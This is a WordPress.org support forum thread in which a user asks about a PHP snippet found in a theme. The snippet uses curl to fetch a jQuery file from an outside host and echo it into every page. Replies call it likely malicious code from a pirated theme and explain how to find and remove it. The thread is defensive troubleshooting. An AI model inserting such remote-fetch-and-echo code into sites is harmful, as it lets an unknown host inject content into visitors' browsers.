Title: What does this function do? (curl_init)
Last modified: August 20, 2016

---

# What does this function do? (curl_init)

 *  Resolved [asharperrazor](https://wordpress.org/support/users/asharperrazor/)
 * (@asharperrazor)
 * [14 years, 6 months ago](https://wordpress.org/support/topic/what-does-this-function-do-curl_init/)
 * Hi,
    Thanks in advance for the help.
 * I’m trying hard to speed up my website’s loading speed. It appeared that I was
   loading 2 versions of jquery. While I could move one to the footer, it seems 
   the second is part of a plugin.
 * Either case, I went ahead and deleted the following code from my theme. Doesn’t
   appear anything happened, but I’m afraid I might have broke something important.
 *     ```
       <?php
       if(function_exists('curl_init'))
       {
        $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
        $ch = curl_init();
        $timeout = 5;
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
        $data = curl_exec($ch);
        curl_close($ch);
        echo "$data";
       }
       ?>
       ```
   
 * What exactly does it do?

Viewing 9 replies - 1 through 9 (of 9 total)

 *  Moderator [keesiemeijer](https://wordpress.org/support/users/keesiemeijer/)
 * (@keesiemeijer)
 * [14 years, 6 months ago](https://wordpress.org/support/topic/what-does-this-function-do-curl_init/#post-2403226)
 * It tries to get content from “[http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221](http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221);.
 * This is not the normal way to include jQuery in a theme. You can never be sure
   what content is in “jquery-1.6.3.min.js”. It can also be malicious code. I would
   switch to another theme if I were you.
 *  Thread Starter [asharperrazor](https://wordpress.org/support/users/asharperrazor/)
 * (@asharperrazor)
 * [14 years, 6 months ago](https://wordpress.org/support/topic/what-does-this-function-do-curl_init/#post-2403290)
 * Well, it appears that freefilesblog.com is a CDN for Elegant Themes, which makes
   perfect sense since that’s who the template is from. Although the host is pretty
   crappy during some hours.
 * How would I know if I broke anything by removing the line of code?
 * [http://www.asharperrazor.com](http://www.asharperrazor.com)
 *  Moderator [keesiemeijer](https://wordpress.org/support/users/keesiemeijer/)
 * (@keesiemeijer)
 * [14 years, 6 months ago](https://wordpress.org/support/topic/what-does-this-function-do-curl_init/#post-2403300)
 * > which makes perfect sense since that’s who the template is from.
 * No it doesn’t. They could just as easily link to the file itself or the google
   jquery CDN, using wp_enqueue_script() or a normal link in the header.
    [http://codex.wordpress.org/Function_Reference/wp_enqueue_script](http://codex.wordpress.org/Function_Reference/wp_enqueue_script)
 * > How would I know if I broke anything by removing the line of code?
 * If your site doesn’t function the way it’s supposed to.
 * Since this is a commercial theme with its own functionality and support system,
   I recommend you contact the theme developer for assistance: [https://www.elegantthemes.com/forum/](https://www.elegantthemes.com/forum/)
 *  [itouchtek](https://wordpress.org/support/users/itouchtek/)
 * (@itouchtek)
 * [14 years, 3 months ago](https://wordpress.org/support/topic/what-does-this-function-do-curl_init/#post-2403484)
 * Its malicious code , malware , stop downloading warez themes, you giving the 
   guy who put the code ranking and traffic, remove the code
    more info
 * BE WARNED…they pull jquery from a site called: [http://www.4llw4d.freefilesblog.com](http://www.4llw4d.freefilesblog.com).
 * It takes like 30 seconds to load the sites…elegant themes do NOT run like this
   normally.
 * here another blogger spotted this problem…
    READ: [http://www.buildablogg.com/wordpress/httpwww-4llw4d-freefilesblog-comjquery-1-6-3-min-js/](http://www.buildablogg.com/wordpress/httpwww-4llw4d-freefilesblog-comjquery-1-6-3-min-js/)
 * Anyways..yea..use TwentyEleven or free themes, or pay for elegant themes..god
   only knows how these ripped off themes were modded..
 *  [freshlesh3](https://wordpress.org/support/users/freshlesh3/)
 * (@freshlesh3)
 * [14 years, 1 month ago](https://wordpress.org/support/topic/what-does-this-function-do-curl_init/#post-2403494)
 * Not sure thats true. I purchased my version and I have that same JS function 
   as well. Not sure if its malicious but its definitely in the commercial copy 
   I have.
 *  Moderator [keesiemeijer](https://wordpress.org/support/users/keesiemeijer/)
 * (@keesiemeijer)
 * [14 years, 1 month ago](https://wordpress.org/support/topic/what-does-this-function-do-curl_init/#post-2403495)
 * As I said before, this is not a normal way to include jQuery, which is included
   in every WordPress install. Most of the time when themes include jQuery this 
   way it comes with some malicious or altered code. Ask the theme vendor why they
   include it this way.
 *  [freshlesh3](https://wordpress.org/support/users/freshlesh3/)
 * (@freshlesh3)
 * [14 years, 1 month ago](https://wordpress.org/support/topic/what-does-this-function-do-curl_init/#post-2403496)
 * Ill investigate it more, def don’t want hackers on my site, but for now its in
   test mode. I appreciate the heads up and will ask the dev team what it is for.
   Thanks keesiemeijer
 *  [dom9360](https://wordpress.org/support/users/dom9360/)
 * (@dom9360)
 * [14 years, 1 month ago](https://wordpress.org/support/topic/what-does-this-function-do-curl_init/#post-2403497)
 * You can safely remove this code in question without it impacting your website.
 *  [rootdesignarg](https://wordpress.org/support/users/rootdesignarg/)
 * (@rootdesignarg)
 * [13 years, 10 months ago](https://wordpress.org/support/topic/what-does-this-function-do-curl_init/#post-2403502)
 * I did the following to solve this problem:
    I downloaded the theme folder (as
   the problem comes from it) I opened the notepad++ (freeware software) Click in
   search>search in files And when it says “folder” I entered as a path the folder
   of the theme ( this will make a specific search in a whole folder ) I searched
   the name of the false jquery “jquery-1.6.3.min.js” and in my particular case,
   that was in \nameofthetheme\include\plugin\post.php
 * I eliminated the external path and upload this file to ftp
 * Problem solved!
 * Hope it helps
 * For any questions , mail me : [javs.gtr@gmail.com](https://wordpress.org/support/topic/what-does-this-function-do-curl_init/javs.gtr@gmail.com?output_format=md)

Viewing 9 replies - 1 through 9 (of 9 total)

The topic ‘What does this function do? (curl_init)’ is closed to new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 9 replies
 * 6 participants
 * Last reply from: [rootdesignarg](https://wordpress.org/support/users/rootdesignarg/)
 * Last activity: [13 years, 10 months ago](https://wordpress.org/support/topic/what-does-this-function-do-curl_init/#post-2403502)
 * Status: resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
